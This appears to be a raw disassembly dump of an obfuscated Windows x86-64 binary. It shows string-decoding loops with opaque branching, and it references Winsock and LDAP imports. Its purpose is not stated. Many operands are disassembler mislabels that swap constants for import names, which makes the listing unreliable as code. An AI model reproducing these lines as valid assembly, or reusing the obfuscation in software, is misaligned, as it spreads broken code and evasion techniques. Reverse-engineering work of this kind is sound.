lea r12d, [r11 + rcx]
add r12b, 0x5f
cmp r9, 1
jae 0x1400b9c0b
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400b9b55
add r8b, 0x7c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x64
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
jne 0x1400b99e0
add r8b, 0x3e
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r11b
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
inc rax
cmp r9, rax
jne 0x1400b9a08
lea edx, [r8 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400b9d9c
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1400b9a2e
add r8b, 0x56
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x5a
jmp 0x1400b9d67
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400b9a57
lea edx, [r8 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400b9d2e
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400b9a83
sub r8b, 0x1e
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x2e
dec rsi
inc rsi
jmp 0x1400b9592
lea rax, [r10 + 8]
cmp r9, rax
jne 0x1400b9934
lea ecx, [r8 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 2
jmp 0x1400b9ce7
jne 0x1400b9ac8
lea ecx, [r8 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0xb
jmp 0x1400b9ce7
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400b9af4
add r8b, 0x69
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
add r12b, 0x21
dec rsi
inc rsi
jmp 0x1400b9592
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400b9b1a
sub r8b, 0xb
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
add r12b, 0x4d
jmp 0x1400b9d67
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400b9967
add r8b, 0xd
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x5b
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
inc rax
cmp r9, rax
jne 0x1400b9b7e
add r8b, 0x42
movzx eax, r11b
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, r8b
jmp 0x1400b9dc8
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400b9ba4
sub r8b, 0x6c
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea r12d, [r8 + r11]
sub r12b, 0xc
jmp 0x1400b9d67
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400b9bd4
add r8b, 0x20
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, r8b
dec rsi
inc rsi
jmp 0x1400b9592
cmp r10, 0x20
jb 0x1400b9bfb
lea edx, [r8 + 0x72]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r12d, [rcx*2 - 0x3c]
jmp 0x1400b9ce7
mov byte [rbp + rsi + 0x348], r12b
inc rsi
jmp 0x1400b9592
lea edx, [r8 + 0x38]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x3c
lea r12d, [rcx + rcx]
add r12b, dl
jmp 0x1400b9d2e
lea edx, [r8 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
jmp 0x1400b9d9c
sub r8b, 0x6b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x13
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
add r8b, 0x7d
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x6b
jmp 0x1400b9d67
sub r8b, 0xf
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
add r12b, 0x69
dec rsi
inc rsi
jmp 0x1400b9592
lea ecx, [r8 + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x3d
jmp 0x1400b9ce7
movzx r8d, sil
lea ecx, [r8 - 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x11
add r8b, 0x55
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x53
add r11b, r8b
mov byte [rbp + rsi + 0x348], r11b
inc r10
dec rsi
inc rsi
jmp 0x1400b9592
movzx r8d, sil
lea ecx, [r8 - 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x4f
add r8b, 0x1b
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x43
add r11b, r12b
add r11b, r8b
mov byte [rbp + rsi + 0x348], r11b
jmp 0x1400b9d67
lea ecx, [rsi - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x47
add r9, r10
movzx eax, r12b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400b9592
lea rax, [rsi + 0x80935]
and dl, al
add dl, dl
sub al, dl
lea r12d, [r11 + rax]
sub r12b, 0x73
movzx r8d, sil
sub r8b, 0x1f
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x27
add cl, r8b
movzx eax, cl
mov byte [rbp + rsi + 0x348], al
inc r10
add rax, r10
sub rsi, rax
lea ecx, [rsi - 0x3c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5c
add r11b, cl
mov byte [rbp + rsi + 0x348], r11b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rsi, rax
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
lea rax, [rsi + 0x371a9]
and dl, al
add dl, dl
sub al, dl
lea r12d, [r11 + rax]
add r12b, 0x61
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
sub r8b, 0x11
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea r12d, [r8 + r11]
add r12b, 0x77
jmp 0x1400b9590
add r8b, 0x29
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea r12d, [r8 + r11]
sub r12b, 0x1f
jmp 0x1400b9580
lea rdx, [rbp + 0x14577cc]
jmp 0x1400b9e89
lea rdx, [rbp + 0x1069daf]
jmp 0x1400b9e89
lea rdx, [rbp + 0x348]
mov rcx, qword [0x14022c218]
call fcn.140109e80
test al, al
jne 0x1400bb77d
mov byte [rbp + 0x470], 0x5d
mov byte [rbp + 0x471], 0x77
mov byte [rbp + 0x472], WSASetLastError
mov byte [rbp + 0x473], WSASetLastError
mov byte [rbp + 0x474], 0x76
mov byte [rbp + 0x475], WSASetLastError
mov byte [rbp + 0x476], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x477], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x478], 0x7f
mov byte [rbp + 0x479], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x47a], 0x66
mov byte [rbp + 0x47b], 0x7c
mov byte [rbp + 0x47c], 0x78
mov byte [rbp + 0x47d], 0x65
mov byte [rbp + 0x47e], Ordinal_45
mov byte [rbp + 0x47f], 0x67
mov byte [rbp + 0x480], 0x68
mov byte [rbp + 0x481], 0x64
mov byte [rbp + 0x482], 0x79
mov byte [rbp + 0x483], 0x78
mov byte [rbp + 0x484], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x485], WSASetLastError
mov byte [rbp + 0x486], 0x3f
mov byte [rbp + 0x487], 0x3f
mov byte [rbp + 0x488], gethostname
mov byte [rbp + 0x489], 0x44
mov byte [rbp + 0x48a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x48b], WSASetLastError
mov byte [rbp + 0x48c], 0x66
mov byte [rbp + 0x48d], WSASetLastError
mov byte [rbp + 0x48e], WSASetLastError
mov byte [rbp + 0x48f], Ordinal_79
mov byte [rbp + 0x490], 6
mov byte [rbp + 0x491], Ordinal_30
mov byte [rbp + 0x492], 4
mov byte [rbp + 0x493], 0x5e
mov byte [rbp + Ordinal_794], 0x49
mov byte [rbp + 0x495], Ordinal_79
mov byte [rbp + 0x496], 0x51
mov byte [rbp + 0x497], 0x5d
mov byte [rbp + 0x498], 0x42
mov byte [rbp + 0x499], 0x50
mov byte [rbp + 0x49a], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x49b], 0x3d
mov byte [rbp + 0x49c], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x49d], xmm0
mov dword [rbp + 0x4ad], eax
mov word [rbp + 0x4b1], ax
movabs rdi, 0xc3862f7113ad4e89
nop dword [rax + rax]
mov r9, qword [0x14022c4b8]
mov r10, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400bab95
movzx r11d, byte [rbp + rbx + 0x470]
mov edx, r11d
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400bab8c
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400ba05d
lea rcx, [rbx + r13]
movzx eax, dl
and al, cl
add al, al
movzx r14d, r11b
sub r14b, al
add r14b, 0x79
add r14b, cl
jmp 0x1400ba097
je 0x1400bab17
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400baaeb
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400baaaa
lea rax, [r10 + 4]
cmp r9, rax
je 0x1400baa8a
lea rax, [r10 + 6]
cmp r9, rax
je 0x1400baa43
movzx r8d, bl
nop dword [rax + rax]
cmp r10, rbx
ja 0x1400bab83
lea rax, [r10 + 0x80]
cmp r9, rax
jae 0x1400ba0ce
lea r14d, [r8 - 0x6b]
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
sub r14b, 0x13
add r14b, r11b
jmp 0x1400ba110
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400baa2b
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400baa08
lea rax, [r10 + 6]
cmp r9, rax
je 0x1400ba9eb
lea rax, [r10 + 7]
cmp r9, rax
je 0x1400ba965
lea rax, [r10 + 8]
cmp r9, rax
je 0x1400ba937
nop
lea rax, [r10 + r9]
cmp rax, rbx
jbe 0x1400ba66a
nop dword [rax]
lea rax, [r10 + 0xa]
cmp r9, rax
je 0x1400ba64f
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400ba629
lea rax, [r10 + 0x7a]
cmp r9, rax
je 0x1400ba606
lea rax, [r10 + 0x80]
cmp r9, rax
je 0x1400ba5eb
lea rax, [r10 + 0x10]
cmp r9, rax
je 0x1400ba5cb
lea rax, [r10 + 4]
cmp r9, rax
je 0x1400ba5ae
lea rax, [r10 + 8]
cmp r9, rax
je 0x1400ba593
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400ba576
lea rax, [r10 + 0x1000]
cmp r9, rax
je 0x1400ba548
lea rax, [r10 + 0x42]
cmp r9, rax
je 0x1400ba120
lea r9, [r10 + 0x400]
lea r10, [r9 + 9]
lea rax, [r10 + 0x40]
cmp r9, rax
jb 0x1400bab66
lea rax, [r10 + 8]
cmp r9, rax
jb 0x1400bab49
lea rax, [r10 + 1]
cmp r9, rax
jb 0x1400ba30d
lea rax, [r10 + 0x1000]
cmp r9, rax
jb 0x1400ba2f1
lea rcx, [r10 + 0x41]
cmp r9, rcx
jb 0x1400ba2d5
lea rax, [r10 + 0x200]
cmp r9, rax
jb 0x1400ba4ff
lea rax, [r10 + 0x20]
cmp r9, rax
jb 0x1400ba4ba
lea rax, [r10 + 5]
cmp r9, rax
jb 0x1400ba47d
lea rax, [r10 + 0x5a]
cmp r9, rax
jb 0x1400ba455
lea rax, [r10 + 0x3e8]
cmp r9, rax
jb 0x1400ba120
mov r9, rcx
lea r10, [rcx + 0x28]
lea rax, [r10 + 0x200]
cmp rcx, rax
ja 0x1400ba427
lea rax, [r10 + 0x20]
cmp rcx, rax
ja 0x1400ba40a
lea rax, [r10 + 0x42]
cmp rcx, rax
ja 0x1400ba3ef
lea rax, [r10 + 9]
cmp rcx, rax
ja 0x1400ba3d2
lea rcx, [r10 + 2]
cmp r9, rcx
ja 0x1400ba3b2
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x1400ba397
lea rax, [r10 + 0x64]
cmp r9, rax
ja 0x1400ba374
lea rax, [r10 + 0xa]
cmp r9, rax
ja 0x1400ba34a
lea rax, [r10 + 3]
cmp r9, rax
ja 0x1400ba329
lea rax, [r10 + 0x7a]
cmp r9, rax
ja 0x1400ba120
mov r9, rcx
lea r10, [rcx + 0x80]
jmp 0x1400ba120
lea r14d, [r8 + 0xb]
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
sub r14b, 0x4d
add r14b, r11b
jmp 0x1400ba110
lea r14d, [r8 + 9]
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
sub r14b, 0x3f
add r14b, r11b
jmp 0x1400ba0a0
lea r14d, [r8 + 7]
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
sub r14b, 0x31
add r14b, r11b
jmp 0x1400ba030
lea ecx, [r8 - 0x58]
movzx eax, cl
and al, r11b
mov r14d, gethostname
sub r14b, al
add r14b, r14b
add r14b, cl
add r14b, r11b
jmp 0x1400baa5d
sub r8b, 0x5a
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
inc r10
dec rbx
inc rbx
jmp 0x1400ba012
sub r8b, 0x5c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x7c
dec rbx
inc rbx
jmp 0x1400ba012
lea ecx, [r8 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x6e
jmp 0x1400baac4
sub r8b, 0x60
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x60
add r9, r10
jmp 0x1400baafe
sub r8b, 0x62
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x52
jmp 0x1400baafe
lea ecx, [r8 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x44
jmp 0x1400ba97b
sub r8b, 0x66
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x36
jmp 0x1400ba9a7
sub r8b, 0x68
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x28
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
add r8b, 0x13
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x7b
mov byte [rbp + rbx + 0x470], r14b
inc rbx
jmp 0x1400ba012
lea ecx, [r8 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x77
cmp r10, 9
jb 0x1400ba46d
lea ecx, [r8 + 0x66]
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r14d, [rdx + rdx]
jmp 0x1400baa5d
lea ecx, [r8 + 0xf]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x69
cmp r9, 4
jae 0x1400ba8fe
lea rax, [r10 + 0xa]
cmp r9, rax
jbe 0x1400ba814
lea ecx, [r8 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x3e
jmp 0x1400ba493
lea ecx, [r8 + 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x5b
lea rax, [r10 + r9]
cmp rax, 0x2a
je 0x1400ba91d
lea rax, [r10 + 5]
cmp r9, rax
jbe 0x1400ba73f
lea ecx, [r8 - 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x2b
jmp 0x1400ba4d0
add r8b, 0x7e
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x72
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
add r8b, 0x7c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x64
jmp 0x1400ba9a7
lea ecx, [r8 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x56
jmp 0x1400ba97b
add r8b, 0x78
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x48
jmp 0x1400baafe
add r8b, 0x76
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x3a
add r9, r10
jmp 0x1400baafe
lea ecx, [r8 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x2c
jmp 0x1400baac4
add r8b, 0x72
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x1e
dec rbx
inc rbx
jmp 0x1400ba012
add r8b, 0x70
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x10
inc r10
dec rbx
inc rbx
jmp 0x1400ba012
lea ecx, [r8 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 2
jmp 0x1400baa5d
lea rax, [r10 + 0x64]
cmp r9, rax
jae 0x1400ba68e
lea ecx, [r8 - 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x79
jmp 0x1400ba515
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400ba6c5
add r8b, 0x2a
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x26
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400ba6eb
add r8b, 0x30
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x50
jmp 0x1400baafe
lea rax, [r10 + 5]
cmp r9, rax
jne 0x1400ba70f
lea ecx, [r8 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x6c
jmp 0x1400baac4
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400ba515
add r8b, 0x36
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x7a
dec rbx
inc rbx
jmp 0x1400ba012
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400ba763
lea ecx, [r8 - 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x39
jmp 0x1400baa5d
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400ba78f
sub r8b, 0x3d
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x55
dec rbx
inc rbx
jmp 0x1400ba012
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400ba7b3
lea ecx, [r8 - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x63
jmp 0x1400baac4
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1400ba7d9
sub r8b, 0x37
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x7f
jmp 0x1400baafe
lea rax, [r10 + 8]
cmp r9, rax
jne 0x1400ba4d0
sub r8b, 0x31
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x57
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400ba84b
add r8b, 0x54
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x4c
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
lea rax, [r10 + 5]
cmp r9, rax
jne 0x1400ba878
add r8b, 0x5c
movzx eax, r8b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
add r9, r10
jmp 0x1400baafe
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400ba8a1
lea edx, [r8 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400baac4
lea rax, [rcx + 1]
cmp r9, rax
jne 0x1400ba8d1
add r8b, 0x60
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
dec rbx
inc rbx
jmp 0x1400ba012
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1400ba493
lea edx, [r8 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400baa5d
lea edx, [r8 + 0x68]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x14
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x1400baac4
lea edx, [r8 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x1400ba97b
sub r8b, 0x59
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x6f
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
lea ecx, [r8 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x75
sub r8b, 0x15
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x6d
add cl, r8b
movzx eax, cl
mov byte [rbp + rbx + 0x470], al
inc r10
add rax, r10
sub rbx, rax
lea edx, [rbx + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x470], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
sub r8b, 0x5f
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x67
jmp 0x1400baafe
sub r8b, 0x65
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x3d
dec rbx
inc rbx
jmp 0x1400ba012
lea ecx, [r8 - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x21
jmp 0x1400baa5d
movzx r8d, bl
lea ecx, [r8 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 5
sub r8b, 0x19
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x51
add r11b, r8b
mov byte [rbp + rbx + 0x470], r11b
inc r10
dec rbx
inc rbx
jmp 0x1400ba012
lea ecx, [rbx - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x17
dec rbx
inc rbx
jmp 0x1400ba012
movzx r8d, bl
lea ecx, [r8 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x25
sub r8b, 0x17
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x5f
add r11b, r8b
add r11b, r14b
mov byte [rbp + rbx + 0x470], r11b
add r9, r10
jmp 0x1400baafe
lea rax, [rbx + rdi]
and dl, al
add dl, dl
sub r11b, dl
lea r14d, [rax + r11]
add r14b, 0x41
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400ba012
movabs rax, 0x96820fd05be46f83
add rax, rbx
and dl, al
add dl, dl
sub r11b, dl
lea r14d, [rax + r11]
add r14b, 0x6b
movzx eax, byte [rbp + rbx + 0x470]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400ba012
add r8b, 5
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x23
jmp 0x1400ba010
add r8b, 3
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x15
jmp 0x1400ba000
lea rdx, [rbp + 0x17e531c]
jmp 0x1400bab9c
lea rdx, [rbp + 0x11fcd9d]
jmp 0x1400bab9c
lea rdx, [rbp + 0x470]
mov rcx, qword [0x14022c178]
call fcn.1400648b0
mov byte [rbp + 0xe0], Ordinal_79
mov byte [rbp + 0xe1], 0xb4
mov byte [rbp + 0xe2], 0xb8
mov byte [rbp + 0xe3], 0xbb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe4], xmm0
mov qword [rbp + 0xf4], rax
mov dword [rbp + 0xfc], eax
mov byte [rbp + 0x100], al
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r10, qword [0x14022c4b0]
nop
xor esi, esi
cmp rsi, 0x21
jae 0x1400bb754
movzx r9d, byte [rbp + rsi + 0xe0]
mov edx, r9d
nop dword [rax + rax]
cmp r8, rsi
ja 0x1400bb74c
lea rax, [r10 + 1]
cmp r8, rax
jae 0x1400bac56
movabs rcx, 0xc877641e016c4e17
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
movzx r15d, r9b
sub r15b, al
add r15b, 0x5f
add r15b, cl
jmp 0x1400bac83
je 0x1400bb6d8
lea rax, [r10 + 2]
cmp r8, rax
je 0x1400bb646
lea rax, [r10 + 5]
cmp r8, rax
je 0x1400bb614
lea rax, [r10 + 6]
cmp r8, rax
je 0x1400bb5f3
movzx r11d, sil
nop word [rax + rax]
mov rbx, r8
cmp r10, rsi
ja 0x1400bb744
lea rax, [r10 + 0x80]
cmp r8, rax
jae 0x1400bacc1
lea r15d, [r11 - 0x1d]
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
sub r15b, 0x35
add r15b, r9b
jmp 0x1400bad02
lea rax, [r10 + 1]
cmp r8, rax
je 0x1400bb5ac
lea rax, [r10 + 2]
cmp r8, rax
je 0x1400bb589
lea rax, [r10 + 4]
cmp r8, rax
je 0x1400bb56c
lea rax, [r10 + 5]
cmp r8, rax
je 0x1400bb54d
lea rax, [r10 + 8]
cmp r8, rax
je 0x1400bb51f
lea rax, [r10 + r8]
cmp rax, rsi
jbe 0x1400bb1b2
nop
lea rax, [r10 + 0x200]
cmp r8, rax
je 0x1400bb196
lea rax, [r10 + 4]
cmp r8, rax
je 0x1400bb170
lea rax, [r10 + 0x2a]
cmp r8, rax
je 0x1400bb149
lea rax, [r10 + 0x61]
cmp r8, rax
je 0x1400bb12f
lea rax, [r10 + 9]
cmp r8, rax
je 0x1400bb112
lea rax, [r10 + 0x80]
cmp r8, rax
je 0x1400bb0f2
lea rax, [r10 + 0x28]
cmp r8, rax
je 0x1400bb0d1
lea rax, [r10 + 0x5a]
cmp r8, rax
je 0x1400bb0a3
lea rax, [r10 + 0x1000]
cmp r8, rax
je 0x1400bad10
lea r8, [r10 + 0x3e8]
lea r10, [r8 + 0x80]
lea rax, [r10 + 5]
cmp r8, rax
jb 0x1400bb727
lea rax, [r10 + 1]
cmp r8, rax
jb 0x1400bb70a
lea rax, [r10 + 0x40]
cmp r8, rax
